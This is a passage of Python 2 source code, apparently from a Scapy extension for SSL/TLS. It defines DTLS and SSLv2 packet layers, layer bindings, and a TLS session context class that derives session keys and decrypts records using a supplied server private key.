self.ptr_methods['default'])['encode'](data)) 562 | 563 | 564 | class xTLSCompressed(Packet): 565 | name = "TLS Compressed" 566 | fields_desc = [ StrField("data", None, fmt="H") ] 567 | 568 | ptr_methods = {'default': {'encode': lambda x:x, 569 | 'decode': lambda x:x}, 570 | TLSCompressionMethod.DEFLATE: {'encode': lambda x:x.encode('zlib'), 571 | 'decode': lambda x:x.decode('zlib')}, 572 | } 573 | 574 | def decompress(self, method, data=None): 575 | self.method = method 576 | data = data or self.data 577 | 578 | return TLSRecord(self.ptr_methods.get(self.method, self.ptr_methods['default'])['decode'](data)) 579 | 580 | 581 | 582 | class DTLSRecord(Packet): 583 | name = "DTLS Record" 584 | fields_desc = [ByteEnumField("content_type", 0xff, TLS_CONTENT_TYPES), 585 | StrFixedLenEnumField("version", None, 2, TLS_VERSIONS), 586 | ShortField("epoch", None), 587 | XBLenField("sequence", None, fmt="!Q", numbytes=6), 588 | XLenField("length", None, fmt="!H"), ] 589 | 590 | class DTLSHandshake(Packet): 591 | name = "DTLS Handshake" 592 | fields_desc = TLSHandshake.fields_desc + [ 593 | ShortField("sequence", None), 594 | XBLenField("fragment_offset", None, fmt="!I", numbytes=3), 595 | XBLenField("length", None, fmt="!I", numbytes=3), 596 | ] 597 | 598 | class DTLSClientHello(Packet): 599 | name = "DTLS Client Hello" 600 | fields_desc = [ 601 | StrFixedLenEnumField("version", None, 2, TLS_VERSIONS), 602 | IntField("gmt_unix_time", int(time.time())), 603 | StrFixedLenField("random_bytes", os.urandom(28), 28), 604 | XFieldLenField("session_id_length", None, length_of="session_id", fmt="B"), 605 | StrLenField("session_id", '', length_from=lambda x:x.session_id_length), 606 | 607 | XFieldLenField("cookie_length", None, length_of="cookie", fmt="B"), 608 | StrLenField("cookie", '', length_from=lambda x:x.cookie_length), 609 | 610 | XFieldLenField("cipher_suites_length", None, length_of="cipher_suites", fmt="H"), 611 | FieldListField("cipher_suites", None, XShortEnumField("cipher", None, TLS_CIPHER_SUITES), length_from=lambda x:x.cipher_suites_length), 612 | 613 | XFieldLenField("compression_methods_length", None, length_of="compression_methods", fmt="B"), 614 | FieldListField("compression_methods", None, ByteEnumField("compression", None, TLS_COMPRESSION_METHODS), length_from=lambda x:x.compression_methods_length), 615 | 616 | XFieldLenField("extensions_length", None, length_of="extensions", fmt="H"), 617 | PacketListField("extensions", None, TLSExtension, length_from=lambda x:x.extension_length), 618 | ] 619 | 620 | SSLv2_CERTIFICATE_TYPES = { 0x01: 'x.509'} 621 | 622 | class DTLSHelloVerify(Packet): 623 | name = "DTLS Hello Verify" 624 | fields_desc = [ 625 | StrFixedLenEnumField("version", None, 2, TLS_VERSIONS), 626 | XFieldLenField("cookie_length", None, length_of="cookie", fmt="B"), 627 | StrLenField("cookie", '', length_from=lambda x:x.cookie_length), 628 | ] 629 | 630 | 631 | SSLv2_MESSAGE_TYPES = {0x01:'client_hello', 632 | 0x04: 'server_hello', 633 | 0x02: 'client_master_key'} 634 | 635 | 636 | class SSLv2CipherSuite: 637 | ''' 638 | make ciphersuites available as class props (autocompletion) 639 | ''' 640 | DES_192_EDE3_CBC_WITH_MD5 = 0x0700c0 641 | IDEA_128_CBC_WITH_MD5 = 0x050080 642 | RC2_CBC_128_CBC_WITH_MD5 = 0x030080 643 | RC4_128_WITH_MD5 = 0x010080 644 | RC4_64_WITH_MD5 = 0x080080 645 | DES_64_CBC_WITH_MD5 = 0x060040 646 | RC2_CBC_128_CBC_WITH_MD5 = 0x040080 647 | RC4_128_EXPORT40_WITH_MD5 = 0x020080 648 | 649 | SSL2_CIPHER_SUITES = dict((v, k) for k, v in SSLv2CipherSuite.__dict__.items() if not k.startswith("__")) 650 | 651 | 652 | class SSLv2Record(Packet): 653 | name = "SSLv2 Record" 654 | fields_desc = [XBLenField("length", None, fmt="!H", adjust_i2m=lambda pkt, x: x + 0x8000 + 1, adjust_m2i=lambda pkt, x:x - 0x8000), # length=halfbyte+byte with MSB(high(1stbyte)) =1 || +1 for lengt(content_type) 655 | ByteEnumField("content_type", 0xff, SSLv2_MESSAGE_TYPES), 656 | ] 657 | 658 | class SSLv2ClientHello(Packet): 659 | name = "SSLv2 Client Hello" 660 | fields_desc = [ 661 | StrFixedLenEnumField("version", None, 2, TLS_VERSIONS), 662 | 663 | XFieldLenField("cipher_suites_length", None, length_of="cipher_suites", fmt="H"), 664 | XFieldLenField("session_id_length", None, length_of="session_id", fmt="H"), 665 | XFieldLenField("challenge_length", None, length_of="challenge", fmt="H"), 666 | 667 | FieldListField("cipher_suites", None, XBEnumField("cipher", None, SSL2_CIPHER_SUITES, fmt="!I", numbytes=3), length_from=lambda x:x.cipher_suites_length), 668 | StrLenField("session_id", '', length_from=lambda x:x.session_id_length), 669 | StrLenField("challenge", '', length_from=lambda x:x.challenge_length), 670 | ] 671 | 672 | 673 | SSLv2_CERTIFICATE_TYPES = { 0x01: 'x.509'} 674 | 675 | 676 | class SSLv2ServerHello(Packet): 677 | name = "SSLv2 Server Hello" 678 | fields_desc = [ 679 | ByteEnumField("session_id_hit", 0x00, TLS_TYPE_BOOLEAN), 680 | ByteEnumField("certificate_type", 0x01, SSLv2_CERTIFICATE_TYPES), 681 | StrFixedLenEnumField("version", None, 2, TLS_VERSIONS), 682 | 683 | XFieldLenField("certificate_length", None, length_of="certificates", fmt="H"), 684 | XFieldLenField("cipher_suites_length", None, length_of="cipher_suites", fmt="H"), 685 | XFieldLenField("connection_id_length", None, length_of="connection_id", fmt="H"), 686 | 687 | StrLenField("certificates", '', length_from=lambda x:x.certificates_length), 688 | FieldListField("cipher_suites", None, XBEnumField("cipher", None, SSL2_CIPHER_SUITES, fmt="!I", numbytes=3), length_from=lambda x:x.cipher_suites_length), 689 | StrLenField("connection_id", '', length_from=lambda x:x.connection_id_length), 690 | ] 691 | 692 | class SSLv2ClientMasterKey(Packet): 693 | name = "SSLv2 Client Master Key" 694 | fields_desc = [ 695 | XBEnumField("cipher_suite", 0x0002, SSL2_CIPHER_SUITES, fmt="!I", numbytes=3), # fixme: 3byte wide 696 | 697 | XFieldLenField("clear_key_length", None, length_of="clear_key", fmt="H"), 698 | XFieldLenField("encrypted_key_length", None, length_of="encrypted_key", fmt="H"), 699 | XFieldLenField("key_argument_length", None, length_of="key_argument", fmt="H"), 700 | 701 | StrLenField("clear_key", '', length_from=lambda x:x.clear_key_length), 702 | StrLenField("encrypted_key", '', length_from=lambda x:x.clear_key_length), 703 | StrLenField("key_argument", '', length_from=lambda x:x.key_argument_length), 704 | ] 705 | 706 | 707 | 708 | # entry class 709 | class SSL(Packet): 710 | ''' 711 | COMPOUND CLASS for SSL 712 | ''' 713 | name = "SSL/TLS" 714 | fields_desc = [PacketListField("records", None, TLSRecord)] 715 | 716 | def pre_dissect(self, s): 717 | # figure out if we're UDP or TCP 718 | 719 | if self.underlayer and self.underlayer.haslayer(UDP): 720 | self.guessed_next_layer = DTLSRecord 721 | elif ord(s[0]) & 0x80: 722 | # SSLv2 Header 723 | self.guessed_next_layer = SSLv2Record 724 | else: 725 | self.guessed_next_layer = TLSRecord 726 | self.fields_desc = [PacketListField("records", None, self.guessed_next_layer)] 727 | return s 728 | 729 | def do_dissect(self, s): 730 | pos = 0 731 | cls = self.guessed_next_layer # FIXME: detect DTLS 732 | cls_len = len(cls()) 733 | try: 734 | while pos <= len(s): 735 | # consume payloads and add them to records list 736 | record = cls(s[pos:], _internal=1) # FIXME: performance 737 | layer_len = cls_len + record.length 738 | if layer_len == None: 739 | break 740 | record = cls(s[pos:pos + layer_len]) 741 | pos += layer_len 742 | # print pos,len(s) 743 | self.records.append(record) 744 | except Exception, e: 745 | pass 746 | # raise e 747 | return s[pos:] 748 | 749 | 750 | def encrypt(self, master_secret): 751 | pass 752 | 753 | def encrypt_stream(self): 754 | ''' 755 | HMAC_hash(MAC_write_secret, seq_num + TLSCompressed.type + 756 | TLSCompressed.version + TLSCompressed.length + 757 | TLSCompressed.fragment)); 758 | ''' 759 | pass 760 | 761 | def decrypt(self, master_secret): pass 762 | 763 | def compress(self): pass 764 | def decompress(self): pass 765 | 766 | # bind magic 767 | bind_layers(TCP, SSL, dport=443) 768 | bind_layers(TCP, SSL, sport=443) 769 | bind_layers(UDP, SSL, dport=4433) 770 | bind_layers(UDP, SSL, sport=4433) 771 | 772 | # TLSRecord 773 | bind_layers(TLSRecord, TLSChangeCipherSpec, {'content_type':0x14}) 774 | bind_layers(TLSRecord, TLSHeartBeat, {'content_type':0x18}) 775 | bind_layers(TLSRecord, TLSAlert, {'content_type':0x15}) 776 | 777 | bind_layers(TLSRecord, TLSHandshake, {'content_type':0x16}) 778 | # --> handshake proto 779 | bind_layers(TLSHandshake, TLSClientHello, {'type':0x01}) 780 | bind_layers(TLSHandshake, TLSServerHello, {'type':0x02}) 781 | bind_layers(TLSHandshake, TLSCertificateList, {'type':0x0b}) 782 | bind_layers(TLSHandshake, TLSClientKeyExchange, {'type':0x10}) 783 | bind_layers(TLSHandshake, TLSServerKeyExchange, {'type':0x0c}) 784 | bind_layers(TLSHandshake, TLSFinished, {'type':0x20}) 785 | # <--- 786 | bind_layers(TLSServerKeyExchange, TLSKexParamEncryptedPremasterSecret) 787 | bind_layers(TLSClientKeyExchange, TLSKexParamEncryptedPremasterSecret) 788 | 789 | 790 | bind_layers(TLSServerKeyExchange, TLSKexParamDH) 791 | bind_layers(TLSClientKeyExchange, TLSKexParamDH) 792 | 793 | 794 | # --> extensions 795 | bind_layers(TLSExtension, TLSServerNameIndication, {'type': 0x0000}) 796 | bind_layers(TLSExtension, TLSExtMaxFragmentLength, {'type': 0x0001}) 797 | bind_layers(TLSExtension, TLSExtCertificateURL, {'type': 0x0002}) 798 | bind_layers(TLSExtension, TLSExtECPointsFormat, {'type': 0x000b}) 799 | bind_layers(TLSExtension, TLSExtEllipticCurves, {'type': 0x000a}) 800 | bind_layers(TLSExtension, TLSALPN, {'type': 0x0010}) 801 | # bind_layers(TLSExtension,Raw,{'type': 0x0023}) 802 | bind_layers(TLSExtension, TLSExtHeartbeat, {'type': 0x000f}) 803 | bind_layers(TLSExtension, TLSRenegotiationInfo, {'type': 0xff01}) 804 | # <-- 805 | 806 | 807 | # DTLSRecord 808 | bind_layers(DTLSRecord, DTLSHandshake, {'content_type':0x16}) 809 | bind_layers(DTLSHandshake, DTLSClientHello, {'type':0x01}) 810 | 811 | 812 | # SSLv2 813 | bind_layers(SSLv2Record, SSLv2ServerHello, {'content_type':0x04}) 814 | bind_layers(SSLv2Record, SSLv2ClientHello, {'content_type':0x01}) 815 | bind_layers(SSLv2Record, SSLv2ClientMasterKey, {'content_type':0x02}) 816 | -------------------------------------------------------------------------------- /ssl_tls_crypto.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | # -*- coding: UTF-8 -*- 3 | # Author : tintinweb@oststrom.com 4 | # http://www.secdev.org/projects/scapy/doc/build_dissect.html 5 | from header import * 6 | import Crypto 7 | from Crypto.Hash import HMAC, MD5, SHA 8 | from Crypto.Util.asn1 import DerSequence 9 | from binascii import a2b_base64 10 | from base64 import b64decode 11 | from Crypto.PublicKey import RSA 12 | from Crypto.Cipher import AES, ARC4, PKCS1_v1_5 13 | import hashlib 14 | from Crypto.Cipher import PKCS1_v1_5#,PKCS1_OAEP 15 | 16 | import array 17 | from collections import namedtuple 18 | from hashlib import md5,sha1,sha256 19 | import hmac 20 | from prf import prfForVersion 21 | 22 | 23 | 24 | class TLSSessionCtx(object): 25 | def __init__(self): 26 | self.packets = namedtuple('packets',['history','client','server']) 27 | self.packets.history=[] #packet history 28 | self.packets.client = namedtuple('client',['sequence']) 29 | self.packets.client.sequence=0 30 | self.packets.server = namedtuple('server',['sequence']) 31 | self.packets.server.sequence=0 32 | 33 | self.params = namedtuple('params', ['handshake','negotiated',]) 34 | self.params.handshake = namedtuple('handshake',['client','server']) 35 | self.params.handshake.client=None 36 | self.params.handshake.server=None 37 | self.params.negotiated = namedtuple('negotiated', ['version','ciphersuite','key_exchange','encryption','mac','compression',]) 38 | self.params.negotiated.version=None 39 | self.params.negotiated.ciphersuite=None 40 | self.params.negotiated.isexport=None 41 | self.params.negotiated.key_exchange=None 42 | self.params.negotiated.encryption=None 43 | self.params.negotiated.mac=None 44 | self.params.negotiated.compression=None 45 | self.crypto = namedtuple('crypto', ['client','server']) 46 | self.crypto.client = namedtuple('client', ['enc','dec']) 47 | self.crypto.client.enc = None 48 | self.crypto.client.dec = None 49 | self.crypto.server = namedtuple('server', ['enc','dec','rsa']) 50 | self.crypto.server.enc = None 51 | self.crypto.server.dec = None 52 | self.crypto.server.rsa = namedtuple('rsa', ['cipher','pubkey','privkey']) 53 | self.crypto.server.rsa.cipher=None 54 | self.crypto.server.rsa.pubkey=None 55 | self.crypto.server.rsa.privkey=None 56 | self.crypto.session = namedtuple('session', ['premaster_secret','master_secret']) 57 | 58 | self.crypto.session.encrypted_premaster_secret=None 59 | self.crypto.session.premaster_secret=None 60 | self.crypto.session.master_secret=None 61 | self.crypto.session.randombytes = namedtuple('randombytes',['client','server']) 62 | self.crypto.session.randombytes.client=None 63 | self.crypto.session.randombytes.server=None 64 | 65 | self.crypto.session.key = namedtuple('key',['client','server']) 66 | self.crypto.session.key.server = namedtuple('server',['mac','encryption','iv']) 67 | self.crypto.session.key.server.mac = None 68 | self.crypto.session.key.server.encryption = None 69 | self.crypto.session.key.server.iv = None 70 | 71 | self.crypto.session.key.client = namedtuple('client',['mac','encryption','iv']) 72 | self.crypto.session.key.client.mac = None 73 | self.crypto.session.key.client.encryption = None 74 | self.crypto.session.key.client.iv = None 75 | 76 | self.crypto.session.key.length = namedtuple('length',['mac','encryption','iv']) 77 | self.crypto.session.key.length.mac = None 78 | self.crypto.session.key.length.encryption = None 79 | self.crypto.session.key.length.iv = None 80 | 81 | self.crypto.session.sequence = namedtuple('sequence',['client','server']) 82 | self.crypto.session.sequence.client=0 83 | self.crypto.session.sequence.server=0 84 | 85 | self.cumulatedmsg = '' 86 | 87 | def process(self,p): 88 | if p.haslayer(TLSHandshake): 89 | if p.haslayer(TLSClientHello): 90 | if not self.params.handshake.client: 91 | self.params.handshake.client=p[TLSClientHello] 92 | if not self.crypto.session.randombytes.client: 93 | self.crypto.session.randombytes.client=struct.pack("!I",p[TLSClientHello].gmt_unix_time)+p[TLSClientHello].random_bytes 94 | if p.haslayer(TLSServerHello): 95 | if not self.params.handshake.server: 96 | self.params.handshake.server=p[TLSServerHello] 97 | if not self.crypto.session.randombytes.server: 98 | self.crypto.session.randombytes.server=struct.pack("!I",p[TLSServerHello].gmt_unix_time)+p[TLSServerHello].random_bytes 99 | if not self.params.negotiated.ciphersuite: 100 | self.params.negotiated.version=p[TLSServerHello].version 101 | self.params.negotiated.ciphersuite=p[TLSServerHello].cipher_suite 102 | self.params.negotiated.compression=p[TLSServerHello].compression_method 103 | self.parseCipherSuite() 104 | #kex,enc,mac = describe_ciphersuite(self.params.negotiated.ciphersuite) 105 | #self.params.negotiated.key_exchange=kex 106 | #self.params.negotiated.encryption=enc 107 | #self.params.negotiated.mac=mac 108 | if p.haslayer(TLSCertificateList): 109 | if self.params.negotiated.key_exchange and "RSA" in self.params.negotiated.key_exchange: 110 | cert = p[TLSCertificateList].certificates[0].data 111 | self.crypto.server.rsa.pubkey = PKCS1_v1_5.new(x509_extract_pubkey_from_der(cert)) 112 | if p.haslayer(TLSClientKeyExchange) and self.crypto.server.rsa.privkey: 113 | self.crypto.session.encrypted_premaster_secret = str(p[TLSClientKeyExchange].load) 114 | self.crypto.session.premaster_secret = self.crypto.server.rsa.cipher.decrypt(self.crypto.session.encrypted_premaster_secret,None) 115 | #print 'PMS',self.crypto.session.premaster_secret.encode('hex') 116 | self.keysFromPreMasterSecret() 117 | # one for encryption and one for decryption to not mess up internal states 118 | self.crypto.client.enc = self.ciphersuite_factory(self.crypto.session.key.client.encryption,self.crypto.session.key.client.iv) 119 | self.crypto.client.dec = self.ciphersuite_factory(self.crypto.session.key.client.encryption,self.crypto.session.key.client.iv) 120 | self.crypto.server.enc = self.ciphersuite_factory(self.crypto.session.key.server.encryption,self.crypto.session.key.server.iv) 121 | self.crypto.server.dec = self.ciphersuite_factory(self.crypto.session.key.server.encryption,self.crypto.session.key.server.iv) 122 | 123 | 124 | def parseCipherSuite(self): 125 | cs = self.params.negotiated.ciphersuite 126 | macLen = HASH_LENGTH[crypto_params[TLS_CIPHER_SUITE_REGISTRY[cs]]['hash']['name']] 127 | keyLen = crypto_params[TLS_CIPHER_SUITE_REGISTRY[cs]]['cipher']['keyLen'] 128 | blocksize = crypto_params[TLS_CIPHER_SUITE_REGISTRY[cs]]['cipher']['type'].block_size 129 | ivLen = 0 if blocksize == 1 else blocksize 130 | 131 | self.crypto.session.key.length.mac = macLen 132 | self.crypto.session.key.length.encryption = keyLen 133 | self.crypto.session.key.length.iv = ivLen 134 | 135 | def ciphersuite_factory(self, key, iv): 136 | cs = self.params.negotiated.ciphersuite 137 | if cs == 0x0035: 138 | cipher = AES.new(key, AES.MODE_CBC, iv) 139 | elif cs == 0x0003 or cs == 0x0004: 140 | cipher = ARC4.new(key) 141 | else: 142 | raise ValueError('not supported CipherSuite') 143 | return cipher 144 | 145 | def check_strip_mac(self, data): 146 | return data[:-self.crypto.session.key.length.mac] 147 | 148 | def clientcalhash(self, msg): 149 | return hmac.new(self.crypto.session.key.client.mac, msg, self.params.negotiated.mac).digest() 150 | def servercalhash(self, msg): 151 | return hmac.new(self.crypto.session.key.server.mac, msg, self.params.negotiated.mac).digest() 152 | 153 | def clientcalmac(self, data): 154 | seq_header = struct.pack('>Q', self.crypto.session.sequence.client) 155 | self.crypto.session.sequence.client += 1 156 | msg = seq_header + data; 157 | hashvalue = self.clientcalhash(msg) 158 | return hashvalue 159 | def servercalmac(self, data): 160 | seq_header = struct.pack('>Q', self.crypto.session.sequence.server) 161 | self.crypto.session.sequence.server += 1 162 | msg = seq_header + data; 163 | hashvalue = self.servercalhash(msg) 164 | return hashvalue 165 | 166 | def calFinish(self, finishedLabel): 167 | msg = md5(self.cumulatedmsg).digest() + sha1(self.cumulatedmsg).digest() 168 | lfinished = [0]*12 169 | prfForVersion(self.params.negotiated.version, lfinished, self.crypto.session.master_secret, finishedLabel, msg) 170 | finished = ''.join(lfinished) 171 | 172 | prefix = "1400000c".decode('hex') 173 | return prefix + finished 174 | 175 | 176 | def keysFromPreMasterSecret(self): 177 | version = self.params.negotiated.version 178 | clientRandom = self.crypto.session.randombytes.client 179 | serverRandom = self.crypto.session.randombytes.server 180 | preMasterSecret = self.crypto.session.premaster_secret 181 | macLen = self.crypto.session.key.length.mac 182 | keyLen = self.crypto.session.key.length.encryption 183 | ivLen = self.crypto.session.key.length.iv 184 | export = self.params.negotiated.isexport 185 | masterSecretLabel = "master secret" 186 | keyExpansionLabel = "key expansion" 187 | #print 'version', version.encode('hex') 188 | #print 'clientrandom', clientRandom.encode('hex') 189 | #print 'serverrandom', serverRandom.encode('hex') 190 | #print macLen, keyLen, ivLen 191 | 192 | seed = clientRandom+serverRandom 193 | mastersecret = [0]*48 194 | prfForVersion(version,mastersecret,preMasterSecret,masterSecretLabel,seed) 195 | masterSecret = ''.join(mastersecret) 196 | 197 | seed = serverRandom+clientRandom 198 | n = 2*macLen + 2*keyLen + 2*ivLen 199 | keyBlock = [0]*n 200 | prfForVersion(version,keyBlock,masterSecret,keyExpansionLabel,seed) 201 | 202 | i=0 203 | clientMAC = keyBlock[i:i+macLen] 204 | clientMAC = ''.join(clientMAC) 205 | i+= macLen 206 | serverMAC = keyBlock[i:i+macLen] 207 | serverMAC = ''.join(serverMAC) 208 | i+=macLen 209 | 210 | clientKey = keyBlock[i:i+keyLen] 211 | clientKey = ''.join(clientKey) 212 | i+=keyLen 213 | serverKey = keyBlock[i:i+keyLen] 214 | serverKey = ''.join(serverKey) 215 | i+=keyLen 216 | 217 | clientIV = [0]*ivLen 218 | serverIV = [0]*ivLen 219 | 220 | if not export: #non-export 221 | clientIV = keyBlock[i:i+ivLen] 222 | clientIV = ''.join(clientIV) 223 | i+=ivLen 224 | serverIV = keyBlock[i:i+ivLen] 225 | serverIV = ''.join(serverIV) 226 | else: 227 | fclientKey = [0]*16 228 | prfForVersion(version, fclientKey, clientKey, "client write key", clientRandom+serverRandom) 229 | fserverKey = [0]*16 230 | prfForVersion(version, fserverKey, serverKey, "server write key", clientRandom+serverRandom) 231 | clientKey = ''.join(fclientKey) 232 | serverKey = ''.join(fserverKey) 233 | 234 | ivBlock = [0]*2*ivLen 235 | prfForVersion(version, ivBlock, "", "IV block", clientRandom+serverRandom) 236 | clientIV = ''.join(ivBlock[:ivLen]) 237 | serverIV = ''.join(ivBlock[ivLen: 2*ivLen]) 238 | 239 | self.crypto.session.master_secret = masterSecret 240 | 241 | self.crypto.session.key.server.mac = serverMAC 242 | self.crypto.session.key.server.encryption = serverKey 243 | self.crypto.session.key.server.iv = serverIV 244 | 245 | self.crypto.session.key.client.mac = clientMAC 246 | self.crypto.session.key.client.encryption = clientKey 247 | self.crypto.session.key.client.iv = clientIV 248 | #print 'mastersecret', masterSecret.encode('hex') 249 | #print serverMAC.encode('hex'), serverKey.encode('hex'), serverIV.encode('hex') 250 | #print clientMAC.encode('hex'), clientKey.encode('hex'), clientIV.encode('hex') 251 | 252 | 253 | 254 | def rsa_load_key(self, pem): 255 | key=RSA.importKey(pem) 256 | return PKCS1_v1_5.new(key) 257 | 258 | def rsa_load_from_file(self, pemfile): 259 | return self.rsa_load_key(open(pemfile,'r').read()) 260 | 261 | def rsa_load_privkey(self, pem): 262 | self.crypto.server.rsa.privkey=self.rsa_load_key(pem) 263 | return 264 | 265 | def tlsciphertext_decrypt(self, p, cryptfunc): 266 | ret = TLSRecord() 267 | ret.content_type, ret.version, ret.length = p[TLSRecord].content_type, p[TLSRecord].version, p[TLSRecord].length 268 | enc_data = p[TLSRecord].payload.load 269 | 270 | #if self.packets.client.sequence==0: 271 | # iv = self.crypto.session.key.client.iv 272 | decrypted = cryptfunc.decrypt(enc_data) 273 | 274 | plaintext = decrypted[:-self.crypto.session.key.length.mac-1] 275 | mac=decrypted[len(plaintext):] 276 | 277 | return ret/TLSCiphertextDecrypted(plaintext)/TLSCiphertextMAC(mac) 278 | 279 | 280 | def __repr__(self): 281 | params = {'id':id(self), 282 | 'params-handshake-client':repr(self.params.handshake.client), 283 | 'params-handshake-server':repr(self.params.handshake.server), 284 | 'params-negotiated-ciphersuite':self.params.negotiated.ciphersuite, 285 | 'params-negotiated-key_exchange':self.params.negotiated.key_exchange, 286 | 'params-negotiated-encryption':self.params.negotiated.encryption, 287 | 'params-negotiated-mac':self.params.negotiated.mac, 288 | 'params-negotiated-compression':self.params.negotiated.compression, 289 | 290 | 'crypto-client-enc':repr(self.crypto.client.enc), 291 | 'crypto-client-dec':repr(self.crypto.client.dec), 292 | 'crypto-server-enc':repr(self.crypto.server.enc), 293 | 'crypto-server-dec':repr(self.crypto.server.dec), 294 | 295 | 'crypto-server-rsa-pubkey':repr(self.crypto.server.rsa.pubkey), 296 | 'crypto-server-rsa-privkey':repr(self.crypto.server.rsa.privkey), 297 | 298 | 'crypto-session-encrypted_premaster_secret':repr(self.crypto.session.encrypted_premaster_secret), 299 | 'crypto-session-premaster_secret':repr(self.crypto.session.premaster_secret), 300 | 'crypto-session-master_secret':repr(self.crypto.session.master_secret), 301 | 302 | 'crypto-session-randombytes-client':repr(self.crypto.session.randombytes.client), 303 | 'crypto-session-randombytes-server':repr(self.crypto.session.randombytes.server), 304 | 305 | 'crypto-session-key-server-mac':repr(self.crypto.session.key.server.mac), 306 | 'crypto-session-key-server-encryption':repr(self.crypto.session.key.server.encryption), 307 | 'crypto-session-key-server-iv':repr(self.crypto.session.key.server.iv), 308 | 309 | 'crypto-session-key-client-mac':repr(self.crypto.session.key.client.mac), 310 | 'crypto-session-key-client-encryption':repr(self.crypto.session.key.client.encryption), 311 | 'crypto-session-key-client-iv':repr(self.crypto.session.key.client.iv), 312 | 313 | 'crypto-session-key-length-mac':self.crypto.session.key.length.mac, 314 | 'crypto-session-key-length-encryption':self.crypto.session.key.length.encryption, 315 | 'crypto-session-key-length-iv':self.crypto.session.key.length.iv, 316 | } 317 | 318 | 319 | str = "